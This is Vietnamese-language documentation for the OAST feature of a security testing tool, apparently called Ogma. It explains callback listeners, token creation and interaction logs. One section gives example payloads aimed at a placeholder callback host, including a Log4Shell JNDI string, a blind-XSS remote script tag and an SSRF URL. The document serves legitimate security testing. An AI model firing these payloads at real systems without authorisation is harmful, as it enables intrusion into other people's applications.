OAST
OAST (Out-of-Band Application Security Testing, kiểm thử bảo mật ứng dụng ngoài băng) phát hiện lỗ hổng không tạo ra phản hồi có thể quan sát trực tiếp. Thay vào đó, mục tiêu kết nối ra ngoài đến một bộ lắng nghe do bạn kiểm soát, qua đó xác nhận vấn đề.
Cách hoạt động
Ogma chạy các bộ lắng nghe cục bộ trên nhiều giao thức. Khi ứng dụng mục tiêu liên hệ với một bộ lắng nghe, tương tác được ghi lại cùng IP nguồn, dấu thời gian, dữ liệu nhận được và token đã được chèn.
Giao thức của bộ lắng nghe
| Giao thức | Cổng mặc định | Trường hợp sử dụng |
|---|---|---|
| HTTP | Có thể cấu hình | SSRF, XSS mù, webhook |
| HTTPS | Có thể cấu hình | SSRF qua TLS |
| DNS | Có thể cấu hình | Chèn dữ liệu mù, XXE, log4shell |
| SMTP | Có thể cấu hình | Chèn header email, SSRF đến dịch vụ thư |
Cấu hình cổng của bộ lắng nghe và tên miền dùng trong token được tạo tại bảng cài đặt OAST.
Tạo token callback
- Mở Tiện ích > OAST.
- Nhấp + Mới để mở biểu mẫu, rồi nhấp Tạo. Mỗi token là duy nhất cho từng lần kiểm thử.
- Sao chép token. Token bao gồm tên miền của bộ lắng nghe và một định danh duy nhất để đối chiếu tương tác với lần kiểm thử cụ thể.
Ví dụ định dạng token: [unique-id].[your-oast-domain]
Dùng token trong payload
Chèn token callback vào bất kỳ trường nào có thể khiến ứng dụng kết nối ra ngoài:
- SSRF: dùng token HTTP/HTTPS làm URL mục tiêu:
https://[token]/ - XXE: tham chiếu token trong DOCTYPE hoặc URL của thực thể ngoài.
- Log4Shell: nhúng vào header:
${jndi:ldap://[token]/a} - XSS mù: chèn vào thuộc tính src của script:
<script src="https://[token]/x.js"></script> - Chèn SMTP: dùng làm địa chỉ đích hoặc URL trong header email.
Nhật ký tương tác
Bảng tương tác hiển thị mọi callback nhận được:
| Cột | Mô tả |
|---|---|
| Thời gian | Thời điểm nhận tương tác |
| Giao thức | HTTP, HTTPS, DNS hoặc SMTP |
| IP nguồn | Địa chỉ IP đã thực hiện kết nối |
| Token | Token được liên hệ |
| Dữ liệu | Đường dẫn yêu cầu, tên truy vấn DNS hoặc dữ liệu SMTP |
Nhấp vào một dòng để xem toàn bộ chi tiết tương tác, bao gồm header và nội dung yêu cầu nếu có.
Đối chiếu tương tác với lần kiểm thử
Vì mỗi token là duy nhất, bạn có thể chèn các token khác nhau vào những tham số hoặc yêu cầu khác nhau để xác định chính xác điểm chèn nào đã kích hoạt callback.